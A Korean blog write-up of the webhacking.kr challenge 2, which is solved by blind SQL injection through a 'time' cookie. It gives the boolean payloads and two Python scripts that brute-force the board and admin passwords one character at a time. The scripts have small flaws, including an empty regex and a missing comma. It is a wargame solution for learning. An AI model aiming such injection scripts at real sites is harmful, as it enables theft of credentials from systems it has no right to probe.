cdor1's lab
Webhacking.kr 2번 본문
blind sql injection을 이용해서 푸는 문제이다.
홈페이지에 존재하는 어떤 값을 이용해서 내가 넣은 sql 구문이 참인지 거짓인지를 판단해 공격하는 방법이다.
띠용.. 홈페이지다.
board에 들어가보니 이름이 FreeB0aRd인 게시판에 저런 글이 하나 올라와 있었다.
소스 확인 결과
수상한 주석처리된 현재 시간 값과 admin/이 존재한다는 사실을 알았다.
아니나 다를까 admin page에도 비밀번호가 걸려있다.
cookie에 time이라는 값이 존재해서 injection을 시도해 보았는데
이런 식으로 time값이 바뀌었다.
무조건 거짓이 되는 구문을 넣어보았더니
시간 값이 09:00:01에서 09:00:00으로 변했다.
참이 되면 시간값이 09:00:01이 되고 거짓이면 09:00:00이 되나보다.
이걸 가지고 우리는 board의 비밀번호와 admin page의 비밀번호를 알 수 있다.
둘의 테이블명만 알 수 있다면 말이지..
1490848516 and (select length(password) from FreeB0aRd) = 9
1490848516 and (select length(password) from admin) = 10
우리가 찾았던 게시판 이름과 페이지명으로 테이블명을 게싱해서 password 길이를 알아내 보았다.
이 두 값이 참을 리턴하더라.
이젠 password의 길이를 아니까
time=1490848516 and (select ascii(substring(password,%d,1)) from FreeB0aRd)=%d
같은 구문으로 password를 한자리씩 brute-force해서 참, 거짓을 이용해 패스워드를 알아낼 수 있다.
import re, urllib, urllib2
pw=""
ssid = ""
print "find board"
for i in range(1, 10):
for j in range(33,126):
url="http://webhacking.kr/challenge/web/web-02/"
req=urllib2.Request(url) # send request
req.add_header('Cookie',"time=1490848516 and (select ascii(substring(password,%d,1)) from FreeB0aRd)=%d; PHPSESSID=%s" % (i,j ssid)) # attack code
read=urllib2.urlopen(req).read() # get source
find = re.findall("",read) # true or false
if find: #add password
pw=pw+chr(j)
print "board: " + pw
break
print "Fin"
find_board.py
import re, urllib, urllib2
pw=""
ssid = ""
print "find admin"
for i in range(1, 11):
for j in range(33,126):
url="http://webhacking.kr/challenge/web/web-02/"
req=urllib2.Request(url) # send request
req.add_header('Cookie',"time=1490848516 and (select ascii(substring(password,%d,1)) from admin)=%d; PHPSESSID=%s" % (i,j ssid)) # attack code
read=urllib2.urlopen(req).read() # get source
find = re.findall("",read) # true or false
if find: #add password
pw=pw+chr(j)
print "admin: " + pw
break
print "Fin"
find_admin.py
이 두가지로 알아낸 비밀번호를 가지고 board에 있는 글에 들어가면 zip파일을 던져주고
admin page에 로그인하면 zip file password를 던져주는데
이를 이용해 zip파일을 열면 html파일에 플래그가 적혀있다.
'Security > Web' 카테고리의 다른 글
| Webhacking.kr 18번 (0) | 2017.04.01 |
|---|---|
| Webhacking.kr 9번 (0) | 2017.03.31 |
| Webhacking.kr 14번 (0) | 2017.03.29 |
| Webhacking.kr 12번 (0) | 2017.03.28 |
| Webhacking.kr 11번 (0) | 2017.03.27 |